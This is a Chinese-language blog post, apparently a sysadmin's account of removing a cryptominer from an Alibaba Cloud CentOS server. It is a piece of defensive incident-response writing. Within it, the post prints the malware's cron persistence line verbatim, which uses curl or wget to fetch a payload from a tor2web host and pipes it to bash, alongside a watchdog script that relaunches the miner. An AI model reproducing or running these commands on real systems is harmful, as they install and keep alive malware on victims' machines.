centos 7
記一次阿里雲服務器被被種挖礦程序解決的過程
1、原因
偶爾發現我的服務器CPU使用率長期處於100%,就登上服務器看了一下
2、查看進程
[root@izwz94xp1kwkcahxd1vey6z /]# top
發現有一個exin的進程cpu使用率高達99%
3、看看是個什麼東西
exin的pid爲3363
[root@izwz94xp1kwkcahxd1vey6z /]# cd /proc/3363
[root@izwz94xp1kwkcahxd1vey6z 3363]# ll
發現是在exe -> /usr/bin/exin目錄下
4、查看防火牆信息
[root@izwz94xp1kwkcahxd1vey6z 3363]# iptables -L -n -v
發現防火牆被篡改增加了很多國外的未知ip
此時其實問題已經找到了,這個進程就是挖礦程序,先kill掉
[root@izwz94xp1kwkcahxd1vey6z 3363]# kill -9 3363
不過一般這種挖礦程序都不會這麼輕易被幹掉的,我們繼續
5、查看ROOT定時任務
[root@izwz94xp1kwkcahxd1vey6z 3363]# crontab -l
MAILTO=''
*/19 * * * * /etc/cron.hourly/agetty >/dev/null 2>&1
果然發現了一條定時任務
可以看到是每隔19分鐘執行一次腳本,腳本的內容在/etc/cron.hourly/agetty。我們跟進查看一下。
6、看看是個什麼東西
[root@izwz94xp1kwkcahxd1vey6z 3363]# cat /etc/cron.hourly/agetty
#!/bin/sh
if [ "$(pgrep -f /bin/exin|wc -l)" -eq 0 ]; then
nohup /bin/exin >/dev/null 2>&1 &
fi
很明顯這個腳本是檢查exin進程是否還在,如果不在就用nohup繼續在後臺啓動並將標準和錯誤輸出重定向給null,也就是不輸出。
所以只kill掉exin這個進程的話每隔19分鐘還會再啓動。
但是肯定沒那麼簡單,還有其他的定時任務來保證木馬運行。
7、把定時文件幹掉
[root@izwz94xp1kwkcahxd1vey6z 3363]# cd /etc/cron.hourly/
[root@izwz94xp1kwkcahxd1vey6z cron.hourly]# rm -rf agetty
8、把定時任務清理掉
如果你本身是沒有定時任務的就直接全部清掉
[root@izwz94xp1kwkcahxd1vey6z /]# crontab -r
9、繼續查看其他cron下的腳本
[root@izwz94xp1kwkcahxd1vey6z /]# ll /etc/cron.d
total 12
-rw-r--r-- 1 root root 128 Apr 18 15:00 0hourly
-rw-r--r-- 1 root root 668 Mar 14 2019 spool
-rw------- 1 root root 235 Apr 18 15:00 sysstat
這個spool文件的日期是2019年的,很明顯有問題!
[root@izwz94xp1kwkcahxd1vey6z /]# cat /etc/cron.d/spool
MAILTO=''
*/19 * * * * root if [ "$(pgrep -f /bin/exin|wc -l)" -eq 0 ];then /bin/exin;fi;(curl --retry 2 --connect-timeout 26 --max-time 75 -fsSLk https://eknr73utr7u7bzwo.tor2web.su/wp-content/ekK9k9Yhtp8Bsul2EmftImLTq1t078ZiP36WCco --user-agent 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'||wget --tries=2 --connect-timeout=26 --timeout=75 --no-check-certificate -qO- https://eknr73utr7u7bzwo.tor2web.su/wp-content/ekK9k9Yhtp8Bsul2EmftImLTq1t078ZiP36WCco --user-agent='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36')|/bin/bash >/dev/null 2>&1
意思他一直去檢測系統進程,沒有就會去網上下。
10、刪掉有問題的定時腳本
總結下來共在以下地方發現修改的配置,全部刪除
/dev/shm/swapfile
/bin/config.json
/bin/exin
/etc/cron.d/spool
/etc/crontab
/var/spool/cron/root
/var/spool/mail/root
/etc/cron.hourly/agetty
/usr/bin/unattended-upgrades
/etc/crond
/usr/local/includes
/tmp/systemd-private...
提示權限不夠的,執行chattr就行了
[root@izwz94xp1kwkcahxd1vey6z bin]# rm -rf config.json
rm: cannot remove ‘config.json’: Operation not permitted
[root@izwz94xp1kwkcahxd1vey6z bin]# chattr -ia config.json
[root@izwz94xp1kwkcahxd1vey6z bin]# rm -rf config.json
11、清理SSH公鑰
[root@izwz94xp1kwkcahxd1vey6z ~]# cd /root/.ssh/
[root@izwz94xp1kwkcahxd1vey6z .ssh]# ll
total 4
-rw------- 1 root root 385 Mar 14 2019 authorized_keys
[root@izwz94xp1kwkcahxd1vey6z .ssh]# rm -rf authorized_keys
12、恢復阿里雲安全程序
wget http://update.aegis.aliyun.com/download/install.sh
chmod 755 install.sh
./install
13、查看網絡連接
[root@izwz94xp1kwkcahxd1vey6z /]# netstat -na
發現很多國外的ip,大概率就是關於挖礦的地址了
14、封禁掉這些IP
這裏其實應該封禁調一些ip段更好
iptables -I INPUT -s 149.56.101.79 -j DROP
iptables -I INPUT -s 198.251.89.118 -j DROP
iptables -I INPUT -s 120.78.159.3 -j DROP
iptables -I INPUT -s 163.172.105.97 -j DROP
iptables -I INPUT -s 193.106.29.66 -j DROP
iptables -I INPUT -s 104.152.52.31 -j DROP
iptables -I INPUT -s 185.130.215.148 -j DROP
iptables -I INPUT -s 163.172.106.112 -j DROP
15、檢查防火牆
也不知道殺乾淨了沒,再觀察觀察吧
有一說一
這些人,真的煩。